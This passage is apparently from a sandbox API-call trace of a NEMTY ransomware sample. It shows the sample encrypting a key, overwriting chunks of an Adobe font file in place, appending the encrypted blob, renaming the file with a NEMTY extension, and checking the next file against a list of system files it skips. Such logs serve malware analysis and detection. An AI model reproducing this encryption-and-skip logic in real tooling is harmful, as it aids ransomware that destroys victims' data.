cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHeitiStd-Regular.otf", lpUsedDefaultChar=0x0) returned 25 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHeitiStd-Regular.otf", lpUsedDefaultChar=0x0) returned 25 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHeitiStd-Regular.otf", lpUsedDefaultChar=0x0) returned 25 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHeitiStd-Regular.otf", lpUsedDefaultChar=0x0) returned 25 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94220 [0194.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0194.418] Sleep (dwMilliseconds=0x5) [0194.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2787d550, dwHighDateTime=0x1d561e8)) [0194.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2787d550, dwHighDateTime=0x1d561e8)) [0194.422] GetLastError () returned 0x0 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.423] GetLastError () returned 0x0 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0194.423] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="y3DGBpxJ9HI8JoKkrUkGk2xALOpEiH89sY46AwMq06uVtA3bu4n/xjPWo0gJt+4c\r\nGTS1vHQ8R690mUChV4X129MvEdZvBfKE/hM6uqgMjuPX6qZnsRI0kHwHNhSf+Ktv\r\nhHmp7zpY8UYgPqun1cnk7nGaDYUPHJf9PBck236qA1wcuw/ueD0zaZZe4vOC7mGP\r\nDZoDe60PqVahCflJ2VC0sWdoLMgsLd1HKfb1rWSFUeKxzUzHhPLmhD3ONA4sT4Yl\r\nh5UG+6yjD6IO6C58lSn3NiftWaIqZBhiognMV31CfpDViR2Jp954she6X2h2pDw7\r\nwFnM4fFdLClaYKTRzikmtA==\r\n", pcchString=0x653e91c) returned 1 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0194.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.424] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=12265424) returned 1 [0194.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0194.424] SetFilePointer (in: hFile=0x254, lDistanceToMove=4532712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4529e8 [0194.424] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.437] SetFilePointer (in: hFile=0x254, lDistanceToMove=4532712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4529e8 [0194.437] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.437] SetFilePointer (in: hFile=0x254, lDistanceToMove=4692712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x479ae8 [0194.437] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.449] SetFilePointer (in: hFile=0x254, lDistanceToMove=4692712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x479ae8 [0194.449] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.450] SetFilePointer (in: hFile=0x254, lDistanceToMove=4852712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a0be8 [0194.450] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.462] SetFilePointer (in: hFile=0x254, lDistanceToMove=4852712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a0be8 [0194.462] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.463] SetFilePointer (in: hFile=0x254, lDistanceToMove=5012712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c7ce8 [0194.463] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.474] SetFilePointer (in: hFile=0x254, lDistanceToMove=5012712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c7ce8 [0194.474] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.475] SetFilePointer (in: hFile=0x254, lDistanceToMove=5172712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4eede8 [0194.475] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.493] SetFilePointer (in: hFile=0x254, lDistanceToMove=5172712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4eede8 [0194.493] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.494] SetFilePointer (in: hFile=0x254, lDistanceToMove=5332712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515ee8 [0194.494] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.507] SetFilePointer (in: hFile=0x254, lDistanceToMove=5332712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515ee8 [0194.507] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.508] SetFilePointer (in: hFile=0x254, lDistanceToMove=5492712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53cfe8 [0194.508] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.517] SetFilePointer (in: hFile=0x254, lDistanceToMove=5492712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53cfe8 [0194.517] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.518] SetFilePointer (in: hFile=0x254, lDistanceToMove=5652712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5640e8 [0194.518] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.531] SetFilePointer (in: hFile=0x254, lDistanceToMove=5652712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5640e8 [0194.531] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.532] SetFilePointer (in: hFile=0x254, lDistanceToMove=5812712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58b1e8 [0194.532] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.542] SetFilePointer (in: hFile=0x254, lDistanceToMove=5812712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58b1e8 [0194.542] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.542] SetFilePointer (in: hFile=0x254, lDistanceToMove=5972712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b22e8 [0194.542] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.555] SetFilePointer (in: hFile=0x254, lDistanceToMove=5972712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b22e8 [0194.555] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.555] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.555] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.563] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.563] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.564] SetFilePointer (in: hFile=0x254, lDistanceToMove=12163024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb997d0 [0194.564] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.572] SetFilePointer (in: hFile=0x254, lDistanceToMove=12163024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb997d0 [0194.572] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.572] SetFilePointer (in: hFile=0x254, lDistanceToMove=12265424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb27d0 [0194.572] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.573] CloseHandle (hObject=0x254) returned 1 [0194.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.573] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobeheitistd-regular.otf._nemty_kgobjgd_")) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.574] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="ADOBEM~2.OTF")) returned 1 [0194.574] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2=".") returned 1 [0194.574] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="..") returned 1 [0194.574] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="...") returned 1 [0194.574] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="windows") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="rsa") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="NTDETECT.COM") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="ntldr") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="MSDOS.SYS") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="IO.SYS") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="boot.ini") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="boot.ini") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="ntuser.dat") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="desktop.ini") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="CONFIG.SYS") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="RECYCLER") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="bootmgr") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="programdata") returned -1 [0194.575] lstrcmpiW (lpString1="AdobeMingStd-Light.otf", lpString2="appdata") returned -1 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMingStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0194.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMingStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0194.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0194.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, 